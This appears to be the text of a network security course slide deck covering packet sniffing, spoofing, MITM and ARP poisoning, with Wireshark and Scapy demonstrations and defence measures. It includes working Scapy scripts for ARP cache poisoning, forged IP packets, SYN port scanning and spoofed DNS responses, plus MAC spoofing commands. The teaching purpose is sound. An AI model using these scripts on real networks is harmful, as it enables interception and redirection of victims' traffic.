NETWORK ATTACKS
& Security Analysis
Network Security Analysis & Practical Demonstrations
Course Overview & Topics
Key Topics Covered:
Network Layer Fundamentals
OSI Model Layers Involved:
Key Protocols:
Packet Sniffing - Introduction
Packet Sniffing: Capturing and analyzing network packets traveling over a network. Attacker places network interface in promiscuous mode to intercept all data frames, regardless of destination address.
How Sniffing Works:
Packet Sniffing - Vulnerable Protocols
Unencrypted Protocols at Risk:
HTTP - Web traffic (credentials in Authorization headers)
FTP - File transfer (username/password transmitted in plain text)
Telnet - Remote access (login credentials unencrypted)
POP3/IMAP - Email protocols (passwords exposed)
SMTP - Email sending (credentials and message content visible)
Packet Sniffing - Types & Techniques
Passive Sniffing:
Active Sniffing:
Packet Structure & Analysis
Typical Network Packet Layers:
Frame Header (L2)
Destination MAC | Source MAC | EtherType
IP Header (L3)
Source IP | Destination IP | Protocol | TTL
TCP/UDP Header (L4)
Source Port | Destination Port | Sequence Number
Application Data (L7)
HTTP headers, HTML, credentials, user data
Sensitive data often found in Application layer
MAC Address Spoofing - Introduction
What is MAC Spoofing?
Why Spoof MAC?
IP Address Spoofing - Introduction
What is IP Spoofing?
Attack Scenarios:
MAC/IP Spoofing - Implementation Techniques
MAC Spoofing Methods (Linux/macOS):
ifconfig eth0 hw ether 00:11:22:33:44:55 # Change MAC on interface
macchanger -m 00:11:22:33:44:55 eth0 # Using macchanger tool
ip link set dev eth0 address 00:11:22:33:44:55 # Using ip command
IP Spoofing with Packet Crafting (Scapy):
from scapy.all import IP, ICMP, send
packet = IP(dst="192.168.1.100", src="192.168.1.50")/ICMP()
send(packet) # Send forged ICMP packet
Man-in-the-Middle (MITM) Attacks
MITM Attack: Attacker intercepts communication between two parties, positioning themselves between victim and legitimate recipient. Attacker can eavesdrop, modify data, or inject malicious content.
MITM Attack Flow:
Victim
Client
Attacker
(MITM)
Legitimate
Server
Client → Attacker → Server (Attacker intercepts both directions)
MITM Capabilities:
MITM Attacks - Variants & Methods
ARP Spoofing/Poisoning:
DNS Spoofing:
SSL/TLS Hijacking:
ARP Poisoning - Deep Dive
ARP Poisoning: Attacker sends gratuitous ARP replies mapping legitimate IP addresses to attacker's MAC address. Victim's ARP cache gets corrupted, redirecting traffic through attacker.
Normal ARP Resolution Process:
ARP Poisoning Attack Flow:
ARP Poisoning - Advantages & Challenges
Why ARP Poisoning is Effective:
✓ No authentication: ARP accepts responses without verification
✓ Broadcast nature: Works on local network segment (Layer 2)
✓ Low visibility: ARP traffic considered normal; rarely logged
Challenges & Limitations:
Wireshark - Network Protocol Analyzer
What is Wireshark?
Free, open-source packet analysis tool for network troubleshooting, analysis, and security research. Captures live packets and displays them with detailed protocol breakdown.
Key Features:
Wireshark - Interface & Components
Main Window Sections:
Wireshark - Packet Capture Process
Step-by-Step Capture Guide:
Wireshark - Display Filters & Expressions
Common Filter Expressions:
ip.addr == 192.168.1.100
Show all packets from/to specific IP
tcp.port == 80
Display HTTP traffic on port 80
dns
Show only DNS queries and responses
arp
Filter to show ARP packets only
http.request.method == GET
Display only HTTP GET requests
tcp.flags.syn == 1 && tcp.flags.ack == 0
Show TCP SYN packets (connection initiation)
frame contains password
Search for 'password' in packet payload
(ip.src == 192.168.1.100) && (tcp.port == 443)
Complex filter - specific IP on HTTPS port
Wireshark - Practical Demo: HTTP Analysis
Scenario: Analyzing unencrypted HTTP traffic for sensitive data
Demonstration Steps:
• GET request headers (User-Agent, Accept, Host)
• Request parameters in URL (may contain login credentials)
• HTTP response body (HTML, JavaScript, sensitive content)
• View entire HTTP conversation in readable format
Wireshark - ARP Spoofing Detection Demo
Identifying ARP Poisoning Attacks:
Suspicious Patterns to Watch:
Scapy - Packet Manipulation Framework
What is Scapy?
Python library for packet crafting, manipulation, and analysis. Allows creating custom packets at any OSI layer and sending them over network. Used for network testing, scanning, and security research.
Advantages over Wireshark:
Scapy - Installation & Basics
Installation:
pip install scapy
Basic Scapy Concepts:
Packet = Protocol layers stacked with / operator
Example: packet = Ether()/IP(dst='192.168.1.1')/TCP(dport=80)
send() - transmit packet, sr() - send and receive response
show() - display packet fields, hexdump() - display hex representation
Scapy Demo 1: Custom ICMP Ping (Traceroute)
Scenario: Create custom ICMP echo request with modified TTL
from scapy.all import IP, ICMP, send, sr1
# Create ICMP packet with TTL=1 (will be sent to first hop)
packet = IP(dst="8.8.8.8", ttl=1) / ICMP()
response = sr1(packet, timeout=2)
if response:
print(f"Got response from {response.src}")
print(f"TTL: {response.ttl}")
else:
print("No response")
# Send multiple pings with increasing TTL to trace route
for ttl in range(1, 9):
packet = IP(dst="8.8.8.8", ttl=ttl) / ICMP()
response = sr1(packet, timeout=1, verbose=False)
if response:
print(f"TTL {ttl}: Response from {response.src}")
else:
print(f"TTL {ttl}: Timeout")
Scapy Demo 2: ARP Spoofing (MITM Setup)
WARNING: Educational only. Requires authorization.
from scapy.all import ARP, Ether, sendp, get_if_hwaddr
import time
def arp_spoof(target_ip, spoof_ip, target_mac, interface):
# Create ARP packet: Tell target that spoof_ip is at attacker MAC
packet = Ether(dst=target_mac) / ARP(
op="is-at",
pdst=target_ip,
psrc=spoof_ip,
hwdst=target_mac
)
# Send continuously to maintain poisoning
while True:
sendp(packet, iface=interface, verbose=False)
time.sleep(1)
# Example: Poison ARP cache of 192.168.1.100
# Make it think gateway (192.168.1.1) is at attacker MAC
target_ip = "192.168.1.100"
gateway_ip = "192.168.1.1"
target_mac = "AA:BB:CC:DD:EE:FF" # Get via ARP lookup
my_mac = get_if_hwaddr("eth0")
# arp_spoof(target_ip, gateway_ip, target_mac, "eth0")
Scapy Demo 3: TCP Port Scanning
from scapy.all import IP, TCP, sr1
def syn_scan(target_host, port):
# Create SYN packet to target host
packet = IP(dst=target_host) / TCP(dport=port, flags="S")
# Send and receive response with timeout
response = sr1(packet, timeout=1, verbose=False)
if response is None:
return "Filtered/No response"
elif response.haslayer(TCP):
if response[TCP].flags == 0x12: # SYN-ACK flags
return "Open (SYN-ACK received)"
elif response[TCP].flags == 0x14: # RST-ACK flags
return "Closed (RST-ACK received)"
return "Unknown"
# Scan common ports
target = "192.168.1.100"
common_ports = [22, 80, 443, 3306, 5432]
for port in common_ports:
status = syn_scan(target, port)
print(f"Port {port}: {status}")
Scapy Demo 4: DNS Query & Response Crafting
from scapy.all import IP, UDP, DNS, DNSQR, DNSRR, send
# Create DNS query for google.com
query_packet = IP(dst="8.8.8.8") / UDP(dport=53) / DNS(
rd=1,
qd=DNSQR(qname="google.com", qtype="A")
)
# Craft spoofed DNS response (for MITM attack)
def create_dns_response(src_ip, dst_ip, domain, spoofed_ip):
packet = IP(src=src_ip, dst=dst_ip) / UDP(sport=53, dport=53) / DNS(
op="Response",
aa=1, # Authoritative answer
qd=DNSQR(qname=domain, qtype="A"),
an=DNSRR(rrname=domain, type="A", rdata=spoofed_ip)
)
return packet
# Create response claiming google.com is 192.168.1.100
spoofed_response = create_dns_response(
src_ip="8.8.8.8", # Forged source (looks like Google DNS)
dst_ip="192.168.1.50", # Target victim
domain="google.com",
spoofed_ip="192.168.1.100" # Malicious IP
)
# send(spoofed_response) # Would redirect victim's traffic
Detection & Defense Mechanisms
Against Packet Sniffing:
Against MITM Attacks:
Against ARP Poisoning:
Defense Mechanisms - Continued
ARP Inspection (DAI) - Dynamic ARP Inspection
IDS/IPS Solutions (Intrusion Detection/Prevention)
VPN & Network Segmentation:
Security Best Practices & Hardening
Network Level:
🔒 Enable port security on switches (limit MAC addresses per port)
🔒 Implement 802.1X authentication (network access control)
🔒 Deploy DNSSEC to protect against DNS spoofing
Host Level:
🔒 Disable promiscuous mode on network interfaces
🔒 Use host-based firewall and IDS (Snort, Suricata)
🔒 Regularly patch and update network drivers
Security Testing Tools & Resources
Network Analysis:
Packet Manipulation:
Attack Tools:
Hands-On Lab Exercise
Lab 1: Packet Capture & Analysis with Wireshark
Lab 2: Packet Crafting with Scapy
Key Takeaways
Remember: Ethical Hacking Requires Authorization!